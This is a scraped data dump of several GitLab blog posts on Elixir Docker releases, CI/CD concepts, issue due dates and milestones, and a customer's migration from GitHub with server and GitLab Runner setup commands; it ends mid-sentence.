msaraiva/elixir-gcc\nRUN apk add postgresql-client erlang-xmerl erlang-tools --no-cache\nWORKDIR /build\nADD . /build\nCMD mix deps.get\n```\n\nThis image is used to create a container for running tests and style checks.\n\n`Dockerfile`:\n\n```dockerfile\nFROM alpine:edge\nRUN apk — update add postgresql-client erlang erlang-sasl erlang-crypto erlang-syntax-tools && rm -rf /var/cache/apk/*\nENV APP_NAME project\nENV PORT 4000\nRUN mkdir -p /app\nCOPY $APP_NAME.tar.gz /app/\nWORKDIR /app\nRUN tar -zxvf $APP_NAME.tar.gz\nEXPOSE $PORT\nCMD trap exit TERM; /app/bin/$APP_NAME foreground & wait\n```\n\nThis Dockerfile is used to build an actual image with the Elixir release.\n\n## Existing problems\n\n- Now we don’t use the \"Erlang hot upgrade\" feature;\n- We don’t test if the release is correctly starting, now we are testing it manually and locally;\n- Every container uses its own \"epmd\" and intercommunication between the services, now made using REST apis, but I’m working on integration of [Erlang-In-Docker approach][approach] to use native erlang messaging between services.\n\n## What’s next?\n\nI have a plan to write and publish several articles about our release pipeline, to answer the following questions:\n\n- How do we compile and publish assets?\n- How do we run our database migrations, since mix tasks aren’t available from the release image?\n- What problems are we facing during the implementation of this pipeline, and what solutions have we found.\n\nThanks for reading!\n\n",{"slug":37702,"featured":6,"template":678},"building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1","content:en-us:blog:building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1.yml","Building An Elixir Release Into Docker Image Using Gitlab Ci Part 1","en-us/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1.yml","en-us/blog/building-an-elixir-release-into-docker-image-using-gitlab-ci-part-1",{"_path":37708,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37709,"content":37713,"config":37717,"_id":37719,"_type":16,"title":37720,"_source":17,"_file":37721,"_stem":37722,"_extension":20},"/en-us/blog/continuous-integration-delivery-and-deployment-with-gitlab",{"title":37710,"ogTitle":37710,"noIndex":6,"ogImage":14756,"ogUrl":37711,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37711,"schema":37712},"Continuous Integration, Delivery, and Deployment with GitLab","https://about.gitlab.com/blog/continuous-integration-delivery-and-deployment-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Continuous Integration, Delivery, and Deployment with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-08-05\",\n      }",{"title":37710,"authors":37714,"heroImage":14756,"date":37715,"body":37716,"category":734},[34953],"2016-08-05","Can you imagine having [Continuous Integration, Continuous Delivery, and Continuous Deployment](/topics/ci-cd/)\nwithin the same web interface? With **GitLab**, you can!\n\nAfter a brief introduction to these topics,\nand a short walk through of some use-cases for these development practices, we'll present you\nwith a **video** illustrating the capability of going **from idea to production faster** with\nGitLab. Check how you can easily deploy your app automatically from GitLab to Docker Cloud.\n\n\u003C!-- more -->\n\n## Continuous Integration\n\n**[Continuous Integration][ci]** is a software development practice in which you **build and test** software\nevery time a developer pushes code to the application, and it happens several times a day.\n\nContinuous Integration: TEST - BUILD\n{: .alert .alert-warning .yellow}\n\nFor example, our developers push code to [GitLab CE][ce-repo]\nand [GitLab EE][ee-repo] every day, multiple times per day.\nFor every commit, we use [GitLab CI] to **test and build** our software. We run unit tests to make sure\nsome change didn't break other parts of the software. [Every push triggers multiple tests][ce-pipes],\nmaking it easier to identify where the error is when a test happens to fail.\nBut we **do not deploy to production often**, making both GitLab CE and EE cases\nof **Continuous Integration** only.\n\n## Continuous Delivery\n\n**[Continuous Delivery][cd]** is a software engineering approach in which **continuous integration**, **automated\ntesting**, and **automated deployment** capabilities allow software to be developed and [deployed rapidly],\nreliably and repeatedly with minimal human intervention. Still, the **deployment to production** is defined strategically\nand **triggered manually**.\n\nContinuous Delivery: TEST - BUILD - \u003Ci class=\"far fa-hand-pointer\" aria-hidden=\"true\" style=\"color: rgb(252,109,38) !important;\">\u003C/i> - DEPLOY\n{: .alert .alert-warning .yellow}\n\n[Mozilla Firefox][moz] and [Envato] are good examples of Continuous Delivery. They both get their product\n**deployed to production** as soon as it's ready with as little human intervention as possible.\n\n## Continuous Deployment\n\n**[Continuous Deployment][cdp]** is a software development practice in which every code change goes through\nthe entire pipeline and is put **into production automatically**, resulting in many production\ndeployments every day. It does everything that Continuous Delivery does, but the process is fully automated,\nthere's **no human intervention at all**.\n\nContinuous Deployment: TEST - BUILD - \u003Ci class=\"fas fa-cogs\" aria-hidden=\"true\" style=\"color: rgb(252,109,38) !important\">\u003C/i> - DEPLOY\n{: .alert .alert-warning .yellow}\n\nFor example, our website [about.GitLab.com], is **continuously deployed**. We commit multiple times a day to\nfeature-branches, and every push triggers a [parallel][doc-stages] **test and build**. Every time we merge to the\n`master` branch (and we do that a lot, every day), the code is tested, built, and **deployed to\nthe production** [environment][env], passing through the entire [pipeline][com-pipe].\nThere's **no further manual action** that triggers the deployment: it is an automated process, controlled by GitLab CI.\n\n## Challenges\n\n[Perforce performed a study][perforce] that revealed that most of the companies surveyed are using Continuous\nDelivery methods to ship their products:\n\n> _The [study] indicates that Continuous Delivery has really taken off: 65% say their companies have migrated at\nleast one project/team to Continuous Delivery practices._\n>\n_80% of SaaS companies are doing Continuous Delivery, compared to 51% of non-SaaS companies (like boxed or on-premise software, embedded systems or hardware, industrial goods, etc.)_\n>\n_Nearly everyone agrees on the vital role of the collaboration platform (version management, build automation, code review, etc.) in achieving Continuous Delivery. 96% said it’s important and 40% said it’s critical. No argument here._\n{: .justify}\n\nAnd they raised an interesting question:\n\nWhat’s the hardest thing about **Continuous Delivery**?\n{: .alert .alert-info}\n\nThe answer was:\n\nFor non-SaaS companies, it’s getting **automation technologies to integrate**.\n{: .alert .alert-success}\n\nWell, with GitLab, you have all of this, **fully-integrated into one single UI**. From [GitLab 8.10] on,\nyou can [perform Manual Actions][manual] and manually deploy your application with the click of a button,\nmaking Continuous Delivery easier than ever. Take a look.\n\nYou can manually **deploy** to staging:\n\n![Continuous Delivery - deploy to staging]{: .shadow}\n\nYou can also manually **deploy** to production:\n\n![Continuous Delivery - deploy to production]{: .shadow}\n\nAnd you are free to **rollback** to the previous state with the click of a button:\n\n![Continuous Delivery - rollback]{: .shadow}\n\n## From idea to production with GitLab\n\nOur Head of Product, [Mark Pundsack], created a demonstration which illustrates our built-in capabilities\nwith **GitLab CI**, **Continuous Deployment**, and **[Container Registry]** together, to develop **faster\nfrom idea to production**.\n\nIn his video, you can see how it's possible, within one single interface (GitLab), to do everything:\n\n- \u003Ci class=\"fas fa-info-circle fa-fw\" aria-hidden=\"true\">\u003C/i> Have an idea\n- \u003Ci class=\"fas fa-exclamation-circle fa-fw\" aria-hidden=\"true\">\u003C/i> Create an issue to discuss it with your team\n- \u003Ci class=\"fas fa-code fa-fw\" aria-hidden=\"true\">\u003C/i> Ship the code within a merge request\n- \u003Ci class=\"fas fa-terminal fa-fw\" aria-hidden=\"true\">\u003C/i> Run automated scripts (sequential or parallel)\n   - Build, test **and deploy** to a **staging environment**\n   - Preview the changes\n- \u003Ci class=\"far fa-edit fa-fw\" aria-hidden=\"true\">\u003C/i> Review the code and get it approved\n- \u003Ci class=\"fas fa-code-branch fa-fw\" aria-hidden=\"true\">\u003C/i> Merge the feature-branch into `master`\n   - **Deploy** your changes **automatically** to a **production environment**\n- \u003Ci class=\"fas fa-undo fa-fw\" aria-hidden=\"true\">\u003C/i> Rollback if something goes wrong\n{: .list-icons}\n\nThe most amazing thing is, you can track the entire process. Everything is\nfully-integrated with GitLab already; you don't need any other tools to deliver your software, nor jump\nbetween different applications and interfaces to track the process.\n\nThe full spectrum is clearly visible: the issue, the commits to the merge request, the reviews, the builds, the tests,\nthe deploys, the deployment history, the [container history], the environments and the [pipelines][mark-pipes].\n\nFurthermore, for this example demo configuration, every time you push code to the repository, even if it's\nto feature-branches, the pipeline runs **from build to deployment**. But instead of deploying to production,\nthese branches deploy to a staging environment. Production is only affected by the `master` branch.\n\nFor this particular case, Mark used [Docker Cloud] to deploy his app, but you are free to use your creativity to\noptimize your software development process with GitLab and its built-in development tools.\n\nCheck it out; it's awesome!\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pY4IbEXxxGY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n**Note:** we assume you know what Docker is, how to use it and how to deploy an app to [Docker Cloud].\n{: .note}\n\n## Conclusion\n\nThe terms Continuous **Delivery** and Continuous **Deployment** are confusing, but now hopefully you\nunderstand the difference between them. The goal is pushing code frequently, and having it tested,\nbuilt, and deployed. If you prefer having the human decision before deploying to production, GitLab\nallows you to do that with [Manual Actions][manual]. If you want a fully-automated process, with GitLab you\ncan do that too. Whatever strategy your company chooses, GitLab does the job, and does it well!\n\nOur development team works hard to offer the best solution for modern software development tools and techniques. We ship a new\nversion once a month, every 22nd, with more features and improvements, for making development faster and better.\n\nGitLab is unique: we go [from idea to production][direction] using one single interface that integrates all the tools we need!\n\nFollow [@GitLab] on Twitter and stay tuned for updates!",{"slug":37718,"featured":6,"template":678},"continuous-integration-delivery-and-deployment-with-gitlab","content:en-us:blog:continuous-integration-delivery-and-deployment-with-gitlab.yml","Continuous Integration Delivery And Deployment With Gitlab","en-us/blog/continuous-integration-delivery-and-deployment-with-gitlab.yml","en-us/blog/continuous-integration-delivery-and-deployment-with-gitlab",{"_path":37724,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37725,"content":37731,"config":37734,"_id":37736,"_type":16,"title":37737,"_source":17,"_file":37738,"_stem":37739,"_extension":20},"/en-us/blog/feature-highlight-set-dates-for-issues",{"title":37726,"description":37727,"ogTitle":37726,"ogDescription":37727,"noIndex":6,"ogImage":37728,"ogUrl":37729,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37729,"schema":37730},"Feature Highlight: Set Due Dates for Issues and Create Milestones","Feature Highlight: Learn how you can leverage issue due dates and milestones to help manage your projects with GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683857/Blog/Hero%20Images/gitlab-milestones-cover.png","https://about.gitlab.com/blog/feature-highlight-set-dates-for-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: Set Due Dates for Issues and Create Milestones\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Folson\"}],\n        \"datePublished\": \"2016-08-05\",\n      }",{"title":37726,"description":37727,"authors":37732,"heroImage":37728,"date":37715,"body":37733,"category":299},[35602],"\n\nGitLab has a powerful issue tracker that completely integrates into the GitLab workflow. Our team uses our issue tracker for almost everything, including projects that contain no code. We believe that if anything is significant enough to work on then [it deserves an issue](/handbook/communication/#gitlab-workflow). Before GitLab 8.7, there was no way to communicate that you needed a specific issue to be completed by a specified time. While we had the ability to add milestones to issues and merge requests, there was no way to say \"I am working on X and I need to have it completed by Y date.\" So in GitLab 8.7 we added the ability to set due dates on an issue.\n\n\u003C!-- more -->\n\n## Due Dates for Issues\n\nIf you have a hard deadline, it makes sense to make sure the rest of your team \nhas insight into when things are due. It can be hard to manage projects where multiple teams are working on different facets of an application, but as of GitLab 8.7 we've made it easy to set due dates for issues and create milestones that incorporate multiple projects.\n\nSetting due dates for issues is a straightforward process -- simply navigate \nto an issue and assign it a due date from the sidebar.\n\n![Due date for issues in GitLab 8.7](https://about.gitlab.com/images/blogimages/feature-highlight-set-dates-for-issues/gitlab-issue-due-date.png){: .shadow}\n\nNow, when you view your open issues you'll see the due date of each specific \nissue at a glance.\n\n![Due date for issues in GitLab 8.7](https://about.gitlab.com/images/blogimages/feature-highlight-set-dates-for-issues/gitlab-issue-overview-with-due-dates.png){: .shadow}\n\nPlease note that this change only applies to individual issues and not\nmilestones.\n\n## Milestones\n\nMilestones are markers for specific points in a project's timeline. For example, \"Launching Version 1\" or \"MVP\" could be milestones for your particular project. Each milestone can be made up of multiple parts or tasks. If you were launching version 1 of your application, you might have several tasks such as \"Create website copy\" or \"Develop page layout.\" These tasks can be anything you think is valuable for a version 1 launch, but it's likely that several tasks would be involved in your version 1 launch.\n\nBut what happens if you have multiple teams working on multiple parts of your app as part of your version 1 launch? How do you track what work is related to which milestone within your group?\n\nUsing milestones across multiple projects can help you manage all of the work your team and other teams are doing. Once you've created a group, creating milestones across your project is as simple as navigating to your group's \"Milestones\" page and adding projects to the list.\n\n![Create a milestone for projects under a group](https://about.gitlab.com/images/blogimages/feature-highlight-set-dates-for-issues/gitlab-create-milestone.png){: .shadow}\n\nOnce the milestone is created, you can add issues to it from any project. The milestone will also appear under each project's \"Milestones\" tab as if it were specific to that project. You can then view all issues across projects that are tied to that milestone.\n\n![Create a milestone for projects under a group](https://about.gitlab.com/images/blogimages/feature-highlight-set-dates-for-issues/gitlab-issues-for-milestone.png){: .shadow}\n\nAt any time, you may also get an overview of a milestone's progress. This overview will show you how many issues are open, how many merge requests are open, and the percent of completion based off of completed tasks.\n\n![Create a milestone for projects under a group](https://about.gitlab.com/images/blogimages/feature-highlight-set-dates-for-issues/gitlab-ce-milestones.png){: .shadow}\n\n## At GitLab\n\nInternally, we use issue due dates and milestones in a few different ways. Some teams, such as the Dev and Core teams, use milestones to keep track of issues for upcoming releases. Since we release on the 22nd of every month, all issues that pertain to a release milestone [need to be done by the 11th of the month](https://gitlab.com/gitlab-org/gitlab-ce/issues/20497) so that we have enough time to do quality assurance testing and fix problems.\n\nThis makes sense for code-related projects, but what about projects that contain no code? The Marketing team here at GitLab uses issue due dates and milestones to keep track of long-term and short-term projects. For example, when we want to launch a new feature, we know that we need to work backwards from the dev team's due date of the 22nd of the month. We can create a milestone for the feature launch and add issues to it for things like creating ad copy, creating one-pagers, creating landing pages, and so on. Milestones help keep the team working towards the goal of launching the feature, while issue due dates help ensure we have everything we need with plenty of time to spare for last-minute changes.\n\nWith these features, you and your team will be able to add more visibility into when projects will be completed and can easily break your scope of work down into more manageable chunks. Enjoy!\n\n## What's coming next?\n\nIf you're curious what is coming next in GitLab, you can always visit our\n[Direction](/direction/) page for insight into our\nroadmap. We always love your feedback.\n",{"slug":37735,"featured":6,"template":678},"feature-highlight-set-dates-for-issues","content:en-us:blog:feature-highlight-set-dates-for-issues.yml","Feature Highlight Set Dates For Issues","en-us/blog/feature-highlight-set-dates-for-issues.yml","en-us/blog/feature-highlight-set-dates-for-issues",{"_path":37741,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37742,"content":37748,"config":37753,"_id":37755,"_type":16,"title":37756,"_source":17,"_file":37757,"_stem":37758,"_extension":20},"/en-us/blog/moving-to-gitlab-yes-its-worth-it",{"title":37743,"description":37744,"ogTitle":37743,"ogDescription":37744,"noIndex":6,"ogImage":37745,"ogUrl":37746,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37746,"schema":37747},"Customer Story: Moving to GitLab! Yes, it's worth it!","Migrating from GitHub to GitLab and setting up your own GitLab instance","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665885/Blog/Hero%20Images/love-the-sun-gitlab.jpg","https://about.gitlab.com/blog/moving-to-gitlab-yes-its-worth-it","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Customer Story: Moving to GitLab! Yes, it's worth it!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabio Akita\"}],\n        \"datePublished\": \"2016-08-04\",\n      }",{"title":37743,"description":37744,"authors":37749,"heroImage":37745,"date":37751,"body":37752,"category":813},[37750],"Fabio Akita","2016-08-04","\n\n**Note:** This post is a customer story on the benefits of migrating from GitHub to GitLab, by Fabio Akita, a Brazilian Rubyist.\n{: .note}\n\nI started [evangelizing Git in 2007][evang]. It was a very tough sell to make at the time.\n\nOutside of the kernel development almost no one wanted to learn it and we had very worthy competitors, from Subversion, to Mercurial, to Bazaar, to Darcs, to Perforce, and so on. But those of use that dug deeper knew that Git had the edge and it was a matter of time.\n\nThen GitHub showed up in 2008 and the rest is history. For many years it was just \"cool\" to be in GitHub. The Ruby community drove GitHub up into the sky. Finally it became the status quo and the one real monopoly in information repositories - not just software source code, but everything.\n\nI always knew that we should have a \"local\" option, which is why I tried to [contribute to Gitorious][gitorious] way back in 2009. Other options arose, but eventually GitLab appeared around 2011 and picked up steam in the last couple of years.\n\nGitHub itself raised [USD 350 million in funding][gh-fund] and one of its required goals is to nail the Enterprise Edition for big corporations that don't want their data outside their closed gardens. Although GitHub hosts every single open source project out there, they are themselves closed-source.\n\n[GitLab Inc.][GL] started differently with an open source-first approach with their Community Edition (CE) and having both a GitHub-like hosted option as well as a supported Enterprise Edition for fearsome corporations. They already raised [USD 5.62 million in funding][gl-fund], and they are the most promising alternative to GitHub so far.\n\n\u003C!-- more -->\n\nOf course, there are other platforms such as Atlassian's Bitbucket. But I believe Atlassian's strategy is slower and they have a larger suite of enterprise products to sell first, such as Confluence and Jira. I don't think they ever posed much of a competition against GitHub.\n\nGitLab really started accelerating in 2015 as this [commit graph][comm-graph] shows:\n\n![contributors to gitlabhq](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/contributors-to-gitlabhq.png){: .shadow}\n\nIt's been steadily growing since 2011, but they seem to have crossed the first tipping point around late 2014, from early adopters to the early majority. This became more important as **GitHub** announced their [pricing changes][gh-prices] in May.\n\nThey said they haven't committed to a dead line to enforce the change, so organizations can opt out of the new format for the time being. They are changing from \"limited repositories and unlimited users\" to \"unlimited repositories and limited users\".\n\n## The Cost-Benefit Conundrum\n\nFor example, if you have up to 8 developers in the USD 50/month (20 private repositories), the change won't affect you, as you will pay USD 25/month for 5 users and USD 9 for additional users (total of USD 52/month).\n\nNow, if you have a big team of 100 developers currently in the Diamond Plan of USD 450/month (300 private repositories), you would have to pay USD 25/month + 95 times USD 9, which totals a staggering USD 880/month! **Double the amount!**\n\nThis is an **extra USD 10,560** per year!\n{: .alert .alert-danger}\n\nAnd what does **GitLab** affords you instead?\n\nYou can have way more users and more repositories in a **USD 40/month** virtual box (4GB of RAM, 60GB SSD, 4TB transfer).\n{: .alert .alert-success}\n\nAnd it doesn't stop there. GitLab also has very functional [GitLab Multi Runner][runner] which you can install in a separate box (actually, at least 3 boxes - more on that below).\n\nYou can easily connect this runner to the build system over GitLab so every new git push trigger the runner to run the automated test suite in a Docker image of your choosing. So it's a fully functional, full featured Continuous Integration system nicely integrated in your GitLab project interface:\n\n![pipelines](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/pipelines-cm42-archived-gitlab.png){: .shadow}\n\n![builds](https://about.gitlab.com/images/blogimages/moving-to-gitlab-yes-its-worth-it/test-144-builds-cm42-archived-gitlab.png){: .shadow}\n\nReminds of you anything? Yep, it's a fully functional alternative to Travis-CI, Semaphore, CircleCI or any other CI you're using with a very easy to install procedure. Let's say you're paying **Travis-CI USD 489/month to have 10 concurrent jobs**.\n\nYou can install **GitLab Runner** in **3 boxes of USD 10/month** (1GB RAM, 1 Cores, 30GB SSD) and have way more concurrent jobs (20? 50? Auto-Scale!?) that **runs faster** (in a simple test, one build took 15 minutes over Travis took less than 8 minutes at Digital Ocean).\n\nSo let's make the math for a year's worth of service. First considering no GitHub plan change:\n\nUSD 5,400 (**GitHub**) + USD 5,868 (**Travis**) = **USD 11,268 a year**.\n{: .alert .alert-danger}\n\nNow, the GitLab + GitLab Runner + Digital Ocean for the same features and unlimited users, unlimited repositories, unlimited concurrent builds:\n\nUSD 480 (**GitLab**) + USD 840 (**Runner box**) = **USD 1,320 a year**.\n{: .alert .alert-success}\n\nThis is already **almost 8.5x cheaper** with almost **no change in quality**.\n\nFor the worst case scenario, compare it when **GitHub** decides to enforce the new plans:\n\nUSD 10,560 (**GitHub new plans**) + USD 5,868 (**Travis**) = **USD 16,428**\n{: .alert .alert-danger}\n\nNow the **GitLab** option is **11x cheaper**! You're **saving almost USD 15,000 a year!** This is not something you can ignore in your cost sheet.\n{: .alert .alert-success}\n\nAs I said, the calculations above are only significant in a scenario of a 100 developers. You must do your own math taking into account your team size and number of active projects (you can always archive unused projects).\n\nEven if you don't have 100 developers. Let's consider the scenario for 30 developers in the new GitHub per user plans and a smaller Travis configuration for 5 concurrent jobs:\n\nUSD 3,000 (**GitHub new plan**) + USD 3,000 (**Travis**) = **USD 6,000**\n{: .alert .alert-danger}\n\nIt's **4.5x cheaper** in the **Digital Ocean + GitLab** suite option.\n{: .alert .alert-success}\n\nHeck, let's consider the Current **GitHub** plan (the Platinum one, for up to 125 repositories):\n\nUSD 2,400 (**GitHub current plan**) + USD 3,000 (**Travis**) = **USD 5,400**\n{: .alert .alert-danger}\n\nStill **at least 4x more expensive** than a **GitLab-based** solution!\n{: .alert .alert-success}\n\nAnd how long will it take for a single developer to figure out the set up and migrate everything from GitHub over to the new **GitLab** installation? I will say that you can reserve 1 week of work for the average programmer to do it following the official documentation and my tips and tricks below.\n\n## Installing GitLab CE\n\nI will not bore you with what you can readily find over the Web. I highly recommend you start with the easiest solution first: [Digital Ocean's One-Click Automatic Install][do-inst]. Install it in at least a 4GB RAM machine (you will want to keep it if you like it).\n\nOf course, there is a number of different installation options, from AWS AMI images to Ubuntu packages you can install manually. Study the [documentation].\n\nIt will cost you **USD 40 for a month of trial**. If you want to **save** as much as **tens of thousands of dollar**, this is a bargain.\n\nGitLab has many customization options. You can lock down your private GitLab to allow only users with an official e-mail from your domain, for example. You can configure [OAuth2 providers][omni-auth] so your users can quickly sign in using their GitHub, Facebook, Google or other accounts.\n\n### A Few Gotchas\n\nI've stumbled upon a few caveats in the configuration. Which is why I recommend that you plan ahead - study this entire article ahead of time! -, do a quick install that you can blow away, so you can \"feel\" the environment before trying to migrate all your repos over to your brand new GitLab. As a reference, this is a part of my `/etc/gitlab/gitlab.rb`:\n\n```shell\n# register a domain for your server and place it here:\nexternal_url \"http://my-gitlab-server.com/\"\n\n# you will want to enable [LFS](https://git-lfs.github.com)\ngitlab_rails['lfs_enabled'] = true\n\n# register your emails\ngitlab_rails['gitlab_email_from'] = \"no-reply@my-gitlab-server.com\"\n\n# add your email configuration (template for gmail)\ngitlab_rails['smtp_enable'] = true\ngitlab_rails['smtp_address'] = \"smtp.gmail.com\"\ngitlab_rails['smtp_port'] = 587\ngitlab_rails['smtp_user_name'] = \"-- some no-reply email ---\"\ngitlab_rails['smtp_password'] = \"-- the password ---\"\ngitlab_rails['smtp_domain'] = \"my-gitlab-server.com\"\ngitlab_rails['smtp_authentication'] = \"login\"\ngitlab_rails['smtp_enable_starttls_auto'] = true\ngitlab_rails['smtp_openssl_verify_mode'] = 'peer'\n\n# this is where you enable oauth2 integration\ngitlab_rails['omniauth_enabled'] = true\n\n# CAUTION!\n# This allows users to login without having a user account first. Define the allowed providers\n# using an array, e.g. [\"saml\", \"twitter\"], or as true/false to allow all providers or none.\n# User accounts will be created automatically when authentication was successful.\ngitlab_rails['omniauth_allow_single_sign_on'] = ['github', 'google_oauth2', 'bitbucket']\ngitlab_rails['omniauth_block_auto_created_users'] = true\n\ngitlab_rails['omniauth_providers'] = [\n  {\n    \"name\" => \"github\",\n    \"app_id\" => \"-- github app id --\",\n    \"app_secret\" => \"-- github secret --\",\n    \"url\" => \"https://github.com/\",\n    \"args\" => { \"scope\" => \"user:email\" }\n  },\n  {\n    \"name\" => \"google_oauth2\",\n    \"app_id\" => \"-- google app id --\",\n    \"app_secret\" => \"-- google secret --\",\n    \"args\" => { \"access_type\" => \"offline\", \"approval_prompt\" => '', hd => 'codeminer42.com' }\n  },\n  {\n    \"name\" => \"bitbucket\",\n    \"app_id\" => \"-- bitbucket app id --\",\n    \"app_secret\" => \"-- bitbucket secret id --\",\n    \"url\" => \"https://bitbucket.org/\"\n  }\n]\n\n# if you're importing repos from GitHub, Sidekiq workers can grow as high as 2.5GB of RAM and the default [Sidekiq Killer](https://docs.gitlab.com/ee/operations/sidekiq_memory_killer.html) config will cap it down to 1GB, so you want to either disable it by adding '0' or adding a higher limit\ngitlab_rails['env'] = { 'SIDEKIQ_MEMORY_KILLER_MAX_RSS' => '3000000' }\n```\n\nThere are [dozens of default variables][vars] you can [override], just be careful on your testings.\n\nEvery time you change a configuration, you can just run the following commands:\n\n```shell\nsudo gitlab-ctl reconfigure\nsudo gitlab-ctl restart\n```\n\nYou can open a Rails console to inspect production objects like this:\n\n```shell\ngitlab-rails console\n```\n\nI had a lot of trouble importing big repos from GitHub, but after a few days debugging the problem with GitLab Core Team developers [Douglas Alexandre][douglas], [Gabriel Mazetto][gabriel], a few Merge Requests and some local patching and I was finally able to import relatively big projects (more than 5,000 commits, more than 1,000 issues, more than 1,200 pull requests with several comments worth of discussion threads). A project of this size can take a couple of hours to complete, mainly because it's damn slow to use GitHub's public APIs (they are slow and they have rate limits and abuse detection, so you can't fetch everything as fast as your bandwidth would allow).\n\n(By the way, don't miss GitLab will be over at [Rubyconf Brazil 2016][conf], on Sep 23-24)\n\nMigrating all my GitHub projects took a couple of days, but they all went through smoothly and my team didn't have any trouble, just adjusting their git remote URLs and they're done.\n\nThe import procedure from GitHub is quite complete, it brings not only the git repo per se, but also all the metadata, from labels to comments and pull request history - which is the one that usually takes more time.\n\nBut I'd recommend waiting for at least version 8.11 (it's currently 8.10.3) before trying to import large GitHub projects.\n\nIf you're on Bitbucket, unfortunately there are less features in the importer. It will mostly just bring the source code. So be aware of that if you extensively depend on their pull request system and you want to preserve this history. More feature will come and you can even help them out, they are very resourceful and willing to make GitLab better.\n\n## Side-track: Customizations for every Digital Ocean box\n\nAssume that you should run what's in this section for all new machines you create over Digital Ocean.\n\nFirst of all, they come without a swap file. No matter how much RAM you have, the Linux OS is meant to work better by combining a swap file. You can [read more about it][do-ub] later, for now just run the following as root:\n\n```shell\nfallocate -l 4G /swapfile\nchmod 600 /swapfile\nmkswap /swapfile\nswapon /swapfile\n\nsysctl vm.swappiness=10\nsysctl vm.vfs_cache_pressure=50\n```\n\nEdit the `/etc/fstab` file and add this line:\n\n```shell\n/swapfile   none    swap    sw    0   0\n```\n\nDon't forget to set the [default locale][locale] of your machine. Start by editing the `/etc/environment` file and adding:\n\n```shell\nLC_ALL=en_US.UTF-8\nLANG=en_US.UTF-8\n```\n\nThen run:\n\n```shell\nsudo locale-gen en_US en_US.UTF-8\nsudo dpkg-reconfigure locales\n```\n\nFinally, you should have Ubuntu automatically install stable security patches for you. You don't want to forget machines online without the most current security fixes, so just run this:\n\n```shell\nsudo dpkg-reconfigure --priority=low unattended-upgrades\n```\n\nChoose \"yes\" and you're done. And of course, for every fresh install, it's always good to run the good old:\n\n```shell\nsudo apt-get update && sudo apt-get upgrade\n```\n\nThis is the very basics, I believe it's easier to have an image with all this ready, but if you use the standard Digital Ocean images, these settings should do the trick for now.\n\n## Installing the CI Runner\n\nOnce you finish your GitLab installation, it's [super easy][inst-gl-run] to deploy the GitLab Runner. You can use the same machine but I recommend you install it in a separate machine.\n\nIf you don't know what a runner is, just imagine it like this: It's basically a server connected to the GitLab install. When it's available and online, whenever someone pushes a new commit, merge request, to a repository that has a `gitlab-ci-yml` file present, GitLab will push a command to the runner.\n\nDepending on how you configured the runner, it will receive this command and spawn a new Docker container. Inside the container it will execute whatever you have defined in the `gitlab-ci.yml` file in the project. Usually it's fetching cached files (dependencies, for example), and run your test suite.\n\nIn the most basic setup, you will only have one Runner and any subsequent builds from other users will wait in line until they finish. If you've used external CI services such as Travis-CI or CircleCI, you know that they charge for some number of concurrent builds. And it's **very expensive**.\n\nThe less concurrent builds available, the more your users will have to wait for feedback on their changes, and less productive you will become. People may even start to avoid adding new tests, or completely ignore the tests, which will really hurt the quality of your project over time. If there is one thing you **must not** do is not having good automated test suites.\n\nGabriel Mazetto pointed me to a very important GitLab CI Runner feature: [auto-scaling]. This is what they use in their hosted offering over at [GitLab.com].\n\nYou can easily set up a runner that can use \"docker-machine\" and your IaaS provider APIs to spin up machines on the fly to run as many concurrent builds as you want, and it will be super cheap!\n\nFor example, on Digital Ocean you can be charged USD 0.06 (6 cents) per hour of usage of a 4GB machine. Over at AWS EC2 you can be charged USD 0.041 per hour for an m3.medium machine.\n\nThere is extensive documentation but I will try to summarize what you have to do. For more details I highly recommend you to study their [official documentation][doc-runner].\n\nStart by creating 3 new machines at Digital Ocean, all in the same Region with private networking enabled! I will list a fake private IP address just for the sake of advancing in the configuration examples:\n\n- a 1GB machine called \"docker-registry-mirror\", (ex 10.0.0.1)\n- a 1GB machine called \"ci-cache\", (ex 10.0.0.2)\n- a 1GB machine called \"ci-runner\", (ex 10.0.0.3)\n\nYeah, they can be small as very little will run on them. You can be conservative and choose the 2GB RAM options just to be on the safe side (and pricing will still be super cheap).\n\nDon't forget to execute the basic configuration I mentioned above to enable a swapfile, auto security update and locale regeneration.\n\nSSH in to \"docker-registry-mirror\" and just run:\n\n```shell\ndocker run -d -p 6000:5000 \\\n    -e REGISTRY_PROXY_REMOTEURL=https://registry-1.docker.io \\\n    --restart always \\\n    --name registry registry:2\n```\n\nNow you will have a local Docker images registry proxy and cache at 10.0.0.1:6000 (take note of the real private IP).\n\nSSH in to \"ci-cache\" and run:\n\n```shell\nmkdir -p /export/runner\n\ndocker run -it --restart always -p 9005:9000 \\\n        -v /.minio:/root/.minio -v /export:/export \\\n        --name minio \\\n        minio/minio:latest /export\n```\n\nNow you will have an AWS S3 clone called [Minio] running. I didn't know this project even existed, but it is a nifty little service written in Go to clone the AWS S3 behavior and APIs. So now you can have your very own S3 inside your infrastructure!\n\nAfter Docker spin ups, it will print out the Access Key and Secret keys, make notes. And this service will be running at `10.0.0.2:9005`.\n\nYou can even open a browser and see their web interface at `http://10.0.0.2:9005` and use the access and secret keys to login. Make sure you have a bucket named \"runner\". The files 